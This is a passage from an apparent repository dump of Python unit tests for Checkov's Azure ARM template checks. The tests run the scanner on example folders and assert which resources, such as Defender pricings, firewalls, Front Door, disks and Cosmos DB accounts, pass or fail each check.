    "content": "import unittest\nimport os\nfrom checkov.arm.checks.resource.AzureDefenderOnKubernetes import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureDefenderOnKubernetes(unittest.TestCase):\n    def test_summary(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        # given\n        test_files_dir = current_dir + \"/example_AzureDefenderOnKubernetes\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n        passing_resources = {\n            \"Microsoft.Security/pricings.KubernetesService\",\n            \"Microsoft.Security/pricings.KeyVaults\",\n            \"Microsoft.Security/pricings.SqlServerVirtualMachines\",\n        }\n        failing_resources = {\n            \"Microsoft.Security/pricings.KubernetesService\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureDefenderOnSqlServersVMS.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AzureDefenderOnSqlServersVMS import check\n\n\nclass TestAzureDefenderOnSqlServersVMS(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureDefenderOnSqlServersVMS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Security/pricings.SqlServerVirtualMachines\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Security/pricings.SqlServerVirtualMachines\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureDefenderOnStorage.py",
    "content": "import unittest\nfrom checkov.arm.checks.resource.AzureDefenderOnStorage import check\nfrom pathlib import Path\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureDefenderOnStorage(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_AzureDefenderOnStorage\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        passing_resources = {\n            \"Microsoft.Security/pricings.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Security/pricings.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passed_check_resources, passing_resources)\n        self.assertEqual(failed_check_resources, failing_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureFirewallDenyThreatIntelMode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureFirewallDenyThreatIntelMode import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureFirewallDenyThreatIntelMode(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureFirewallDenyThreatIntelMode\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/azureFirewalls.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/azureFirewalls.fail\",\n            \"Microsoft.Network/azureFirewalls.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureFrontDoorEnablesWAF.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureFrontDoorEnablesWAF import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureFrontDoorEnablesWAF(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureFrontDoorEnablesWAF\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/frontDoors.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/frontDoors.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureInstanceExtensions.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureInstanceExtensions import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureInstanceExtensions(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureInstanceExtensions\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.pike\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.fail\",\n            \"Microsoft.Compute/virtualMachines.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # includes 2 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureInstancePassword.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureInstancePassword import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureInstancePassword(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureInstancePassword\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachines.enabled\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachines.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 17)  # includes 2 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureMLWorkspacePrivateEndpoint.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureMLWorkspacePrivateEndpoint import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureMLWorkspacePrivateEndpoint(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureMLWorkspacePrivateEndpoint\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.MachineLearningServices/workspaces.pass1\",\n            \"Microsoft.MachineLearningServices/workspaces.pass2\"\n        }\n        failing_resources = {\n            \"Microsoft.MachineLearningServices/workspaces.fail1\",\n            \"Microsoft.MachineLearningServices/workspaces.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureManagedDiscEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureManagedDiscEncryption import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureManagedDiscEncryption(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureManagedDiscEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/disks.enabled\",\n            \"Microsoft.Compute/disks.collectionEnabled\",\n            \"Microsoft.Compute/disks.encryptionBlock\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Compute/disks.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureManagedDiscEncryptionSet.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureManagedDiskEncryptionSet import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureManagedDiskEncryptionSet(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureManagedDiskEncryptionSet\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/disks.pike\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Compute/disks.failed\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureScaleSetPassword.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureScaleSetPassword import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureScaleSetPassword(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureScaleSetPassword\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.enabled\",\n        }\n        failing_resources = {\n            \"Microsoft.Compute/virtualMachineScaleSets.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureSearchSLAIndex.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AzureSearchSLAIndex import check\n\n\nclass TestAzureSearchSLAIndex(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchSLAIndex\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Search/searchServices.pass'\n        }\n        failing_resources = {\n            'Microsoft.Search/searchServices.fail',\n            'Microsoft.Search/searchServices.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureSearchSLAQueryUpdates.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AzureSearchSLAQueryUpdates import check\n\n\nclass TestAzureSearchSLAQueryUpdates(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureSearchSLAQueryUpdates\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Search/searchServices.pass'\n        }\n        failing_resources = {\n            'Microsoft.Search/searchServices.fail',\n            'Microsoft.Search/searchServices.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureServiceFabricClusterProtectionLevel.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AzureServiceFabricClusterProtectionLevel import check\n\n\nclass TestAzureServiceFabricClusterProtectionLevel(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureServiceFabricClusterProtectionLevel\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ServiceFabric/clusters.pass',\n        }\n        failing_resources = {\n            'Microsoft.ServiceFabric/clusters.fail',\n            'Microsoft.ServiceFabric/clusters.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureSparkPoolIsolatedComputeEnabled.py",
    "content": "import logging\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureSparkPoolIsolatedComputeEnabled import check\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAzureSparkPoolIsolatedComputeEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureSparkPoolIsolatedComputeEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Synapse/workspaces/bigDataPools.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Synapse/workspaces/bigDataPools.fail1\",\n            \"Microsoft.Synapse/workspaces/bigDataPools.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureSynapseWorkspaceVAisEnabled.py",
    "content": "import logging\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureSynapseWorkspaceVAisEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceVAisEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureSynapseWorkspaceVAisEnabled\"\n        logging.warning(f\"test_files_dir:  {test_files_dir}\")\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Synapse/workspaces/vulnerabilityAssessments.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Synapse/workspaces/vulnerabilityAssessments.fail1\",\n            \"Microsoft.Synapse/workspaces/vulnerabilityAssessments.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py",
    "content": "import logging\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached import check\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSynapseWorkspaceHaveNoIPFirewallRulesAttached(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Synapse/workspaces.pass\",\n            \"Microsoft.Synapse/workspaces.pass2\",\n        }\n        failing_resources = {\n            \"Microsoft.Synapse/workspaces.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CognitiveServicesConfigureIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.CognitiveServicesConfigureIdentity import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCognitiveServicesConfigureIdentity(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CognitiveServicesConfigureIdentity\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.CognitiveServices/accounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.CognitiveServices/accounts.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CognitiveServicesDisablesPublicNetwork.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.CognitiveServicesDisablesPublicNetwork import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCognitiveServicesDisablesPublicNetwork(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CognitiveServicesDisablesPublicNetwork\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.CognitiveServices/accounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.CognitiveServices/accounts.fail\",\n            \"Microsoft.CognitiveServices/accounts.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CognitiveServicesEnableLocalAuth.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.CognitiveServicesEnableLocalAuth import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCognitiveServicesEnableLocalAuth(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CognitiveServicesEnableLocalAuth\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.CognitiveServices/accounts.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.CognitiveServices/accounts.fail\",\n            \"Microsoft.CognitiveServices/accounts.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CosmosDBAccountsRestrictedAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.CosmosDBAccountsRestrictedAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCosmosDBAccountsRestrictedAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CosmosDBAccountsRestrictedAccess\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DocumentDB/databaseAccounts.pass\",\n            \"Microsoft.DocumentDB/databaseAccounts.pass2\",\n            \"Microsoft.DocumentDB/databaseAccounts.pass3\",\n            \"Microsoft.DocumentDB/databaseAccounts.pass4\",\n        }\n        failing_resources = {\n            \"Microsoft.DocumentDB/databaseAccounts.fail\",\n            \"Microsoft.DocumentDB/databaseAccounts.fail2\",\n            \"Microsoft.DocumentDB/databaseAccounts.fail3\",\n            \"Microsoft.DocumentDB/databaseAccounts.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CosmosDBDisableAccessKeyWrite.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.CosmosDBDisableAccessKeyWrite import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCosmosDBDisableAccessKeyWrite(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CosmosDBDisableAccessKeyWrite\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_CosmosDBDisablesPublicNetwork.py",
